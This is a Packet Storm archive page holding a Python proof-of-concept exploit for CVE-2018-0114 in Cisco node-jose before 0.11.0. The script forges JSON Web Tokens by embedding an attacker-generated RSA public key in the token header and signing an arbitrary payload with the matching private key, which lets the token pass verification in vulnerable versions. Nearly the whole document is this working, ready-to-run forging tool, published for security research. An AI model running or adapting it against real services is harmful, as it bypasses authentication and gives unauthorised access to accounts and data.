what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco node-jos Resign Tokens Proof Of Concept

Cisco node-jos Resign Tokens Proof Of Concept
Posted Mar 22, 2018
Authored by Andrea Cappa

Cisco node-jos versions prior to 0.11.0 re-sign tokens proof of concept exploit.

tags | exploit, proof of concept
systems | cisco
advisories | CVE-2018-0114
SHA-256 | f7e488909b769cf6fe758f382777f08b2e3b059dea0c5b6c8ed8e7fb3e555bec

Cisco node-jos Resign Tokens Proof Of Concept

Change Mirror Download
import base64
import urllib
import rsa
import sys

#zi0Black

'''
POC of CVE-2018-0114 Cisco node-jose <0.11.0

Created by Andrea Cappa aka @zi0Black (GitHub,Twitter,Telegram)

Mail: a.cappa@zioblack.xyz
Site: https://zioblack.xyz

A special thanks to Louis Nyffenegger, the founder of PentesterLab, for all the help he provided to allow me to write this script.

Mail: louis@pentesterlab.com
Site: https://pentesterlab.com

'''

def generate_key (key_size):
#create rsa priv & public key
print ("[+]Creating-RSA-pair-key")
(public_key,private_key)=rsa.newkeys(key_size,poolsize=8)
print ("\t[+]Pair-key-created")
return private_key, public_key

def to_bytes(n, length, endianess='big'):
h = '%x' % n
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
return s if endianess == 'big' else s[::-1]

def generate_header_payload(payload,pubkey):
#create header and payload
print ("[+]Assembling-the-header-and-the-payload")
xn = pubkey.n
xe = pubkey.e
n=base64.urlsafe_b64encode(to_bytes(xn,sys.getsizeof(xn),'big'))
e=base64.urlsafe_b64encode(to_bytes(xe,sys.getsizeof(xe),'big'))
headerAndPayload = base64.b64encode('{"alg":"RS256",'
'"jwk":{"kty":"RSA",'
'"kid":"topo.gigio@hackerzzzz.own",'
'"use":"sig",'
'"n":"'+n+'",'
'"e":"'+e+'"}}')
headerAndPayload=headerAndPayload+"."+base64.b64encode(payload)
headerAndPayload = headerAndPayload.encode('utf-8').replace("=","")
print ("\t[+]Assembed")
return headerAndPayload

def generate_signature (firstpart,privkey):
#create signature
signature = rsa.sign(firstpart,privkey,'SHA-256')
signatureEnc = base64.b64encode(signature).encode('utf-8').replace("=", "")
print ("[+]Signature-created")
return signatureEnc

def create_token(headerAndPayload,sign):
print ("[+]Forging-of-the-token\n\n")
token = headerAndPayload+"."+sign
token = urllib.quote_plus(token)
return token


if(len(sys.argv)>0):
payload = str(sys.argv[1])
key_size = sys.argv[2]
else:
payload = 'somthings'

banner="""
_____ __ __ ______ ___ ___ __ ___ ___ __ __ _ _
/ ____| \ \ / / | ____| |__ \ / _ \ /_ | / _ \ / _ \ /_ | /_ | | || |
| | \ \ / / | |__ ______ ) | | | | | | | | (_) | ______ | | | | | | | | | || |_
| | \ \/ / | __| |______| / / | | | | | | > _ < |______| | | | | | | | | |__ _|
| |____ \ / | |____ / /_ | |_| | | | | (_) | | |_| | | | | | | |
\_____| \/ |______| |____| \___/ |_| \___/ \___/ |_| |_| |_| by @zi0Black
"""

if __name__ == '__main__':
print (banner)
(privatekey,publickey) = generate_key(key_size)
firstPart = generate_header_payload(payload,publickey)
signature = generate_signature(firstPart,privatekey)
token = create_token(firstPart,signature)
print(token)


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close